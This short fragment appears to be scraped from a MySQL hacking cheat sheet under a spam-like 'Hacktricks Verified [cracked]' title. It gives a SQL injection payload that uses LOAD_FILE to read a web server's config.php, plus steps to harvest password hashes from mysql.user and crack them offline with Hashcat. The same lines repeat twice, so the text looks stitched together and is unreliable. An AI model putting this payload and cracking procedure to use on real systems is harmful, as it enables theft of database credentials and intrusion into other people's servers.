UNION ALL SELECT LOAD_FILE('/var/www/html/config.php') -- -

: Query the mysql.user table to harvest password hashes. Use Hashcat with mode 300 (MySQL4.1/MySQL5) or mode 200 (MySQL3.23) to crack them off-line.

Mysql Hacktricks Verified [cracked] Here

UNION ALL SELECT LOAD_FILE('/var/www/html/config.php') -- -

: Query the mysql.user table to harvest password hashes. Use Hashcat with mode 300 (MySQL4.1/MySQL5) or mode 200 (MySQL3.23) to crack them off-line.